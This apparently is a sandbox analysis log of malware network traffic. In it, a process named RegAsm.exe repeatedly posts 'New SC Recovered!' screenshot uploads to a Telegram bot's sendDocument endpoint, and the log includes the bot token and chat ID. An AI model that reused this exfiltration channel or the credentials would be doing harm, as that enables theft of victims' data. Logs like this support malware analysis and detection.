2024-05-24 05:43:59 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:43:59 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:43:59 UTC	1168	OUT	Data Raw: bc 2b 7a 8a c1 a2 a6 51 52 56 64 4e 0a 6a cc f4 cd 37 53 bb b9 6d af 79 b6 04 19 79 0e d0 71 e9 bb af eb 59 5e 2a f1 3c 12 5a bd 85 84 82 43 20 c4 92 2f 40 3d 07 ad 71 14 57 23 c1 a9 d5 55 2a 3b db 64 6d 4a 6e 95 37 05 d7 a8 51 45 15 dc 40 56 be 91 aa 2c 09 f6 79 ce 13 f8 5b d3 da 99 0f 87 35 79 e1 49 a3 b4 dd 1c 8a 19 4f 98 83 20 f2 3b d3 ff 00 e1 17 d6 bf e7 cb ff 00 22 a7 f8 d2 95 37 25 66 8c e7 c9 25 66 ce bf 4c d5 2f 26 64 86 2b b1 e5 ff 00 7f 0a 4a af b3 1e 45 47 e2 2f 14 5b 5a 5a 3d b5 94 c2 6b 96 05 77 29 c8 4f 7c f7 35 ca 7f c2 2f ad 7f cf 97 fe 45 4f f1 a3 fe 11 7d 6b fe 7c bf f2 2a 7f 8d 71 cf 00 ea cd 4a a3 6d 2e 86 b4 2a aa 31 71 4f 57 d4 c7 a2 b4 86 83 aa 30 04 5a f0 79 fb eb fe 35 9f 2c 6f 14 af 14 83 0e 84 ab 0f 42 2b b5 a6 84 9a 63 68 a2 Data Ascii: +zQRVdNj7SmyyqY^<ZC /@=qW#U;dmJn7QE@V,y[5yIO ;"7%f%fL/&d+JEG/[ZZ=kw)O\|5/EO}k\|qJm.1qOW0Zy5,oB+ch
2024-05-24 05:43:59 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 37 37 33 66 37 31 64 66 32 32 33 2d 2d 0d 0a Data Ascii: -----------------------------8dca773f71df223--
2024-05-24 05:44:00 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:00 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:00 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49716	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:44:06 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcaba1a50f6e18 Host: api.telegram.org Content-Length: 66754 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:44:06 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:06 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 62 61 31 61 35 30 66 36 65 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 62 61 31 61 35 30 66 36 65 31 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 32 34 2f 32 30 32 34 20 30 35 3a 32 39 3a 34 35 0a 55 73 65 72 Data Ascii: -----------------------------8dcaba1a50f6e18Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcaba1a50f6e18Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/24/2024 05:29:45User
2024-05-24 05:44:06 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:44:06 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:44:06 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:44:06 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:44:06 UTC	1168	OUT	Data Raw: bc 2b 7a 8a c1 a2 a6 51 52 56 64 4e 0a 6a cc f4 cd 37 53 bb b9 6d af 79 b6 04 19 79 0e d0 71 e9 bb af eb 59 5e 2a f1 3c 12 5a bd 85 84 82 43 20 c4 92 2f 40 3d 07 ad 71 14 57 23 c1 a9 d5 55 2a 3b db 64 6d 4a 6e 95 37 05 d7 a8 51 45 15 dc 40 56 be 91 aa 2c 09 f6 79 ce 13 f8 5b d3 da 99 0f 87 35 79 e1 49 a3 b4 dd 1c 8a 19 4f 98 83 20 f2 3b d3 ff 00 e1 17 d6 bf e7 cb ff 00 22 a7 f8 d2 95 37 25 66 8c e7 c9 25 66 ce bf 4c d5 2f 26 64 86 2b b1 e5 ff 00 7f 0a 4a af b3 1e 45 47 e2 2f 14 5b 5a 5a 3d b5 94 c2 6b 96 05 77 29 c8 4f 7c f7 35 ca 7f c2 2f ad 7f cf 97 fe 45 4f f1 a3 fe 11 7d 6b fe 7c bf f2 2a 7f 8d 71 cf 00 ea cd 4a a3 6d 2e 86 b4 2a aa 31 71 4f 57 d4 c7 a2 b4 86 83 aa 30 04 5a f0 79 fb eb fe 35 9f 2c 6f 14 af 14 83 0e 84 ab 0f 42 2b b5 a6 84 9a 63 68 a2 Data Ascii: +zQRVdNj7SmyyqY^<ZC /@=qW#U;dmJn7QE@V,y[5yIO ;"7%f%fL/&d+JEG/[ZZ=kw)O\|5/EO}k\|qJm.1qOW0Zy5,oB+ch
2024-05-24 05:44:06 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 62 61 31 61 35 30 66 36 65 31 38 2d 2d 0d 0a Data Ascii: -----------------------------8dcaba1a50f6e18--
2024-05-24 05:44:07 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:07 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49717	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:44:09 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcae7fd2a8c765 Host: api.telegram.org Content-Length: 67229 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:44:10 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:44:10 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 65 37 66 64 32 61 38 63 37 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 65 37 66 64 32 61 38 63 37 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 32 37 2f 32 30 32 34 20 32 30 3a 35 35 3a 31 38 0a 55 73 65 72 Data Ascii: -----------------------------8dcae7fd2a8c765Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcae7fd2a8c765Content-Disposition: form-data; name="caption"New SC Recovered!Time: 07/27/2024 20:55:18User
2024-05-24 05:44:10 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:44:10 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:44:10 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:44:10 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:44:10 UTC	1643	OUT	Data Raw: 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 09 28 a8 fc f8 7f e7 aa 7f df 42 8f 3e 1f f9 ea 9f f7 d0 a0 02 7f f8 f7 93 fd d3 fc ab e7 9a fa 0e 69 a2 30 48 04 88 49 53 fc 43 d2 be 7c ab 89 9c c2 b7 34 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 Data Ascii: >(B>(B>(B>(B>(B>(B>(B>(B>(B>(B>i0HISC\|4OgcX/a
2024-05-24 05:44:10 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 61 65 37 66 64 32 61 38 63 37 36 35 2d 2d 0d 0a Data Ascii: -----------------------------8dcae7fd2a8c765--
2024-05-24 05:44:10 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:44:10 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49718	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:44:15 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcb1ecef588748 Host: api.telegram.org Content-Length: 67317 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:44:15 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 31 65 63 65 66 35 38 38 37 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 31 65 63 65 66 35 38 38 37 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 30 31 2f 32 30 32 34 20 30 35 3a 31 33 3a 35 35 0a 55 73 65 72 Data Ascii: -----------------------------8dcb1ecef588748Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dcb1ecef588748Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/01/2024 05:13:55User
2024-05-24 05:44:15 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
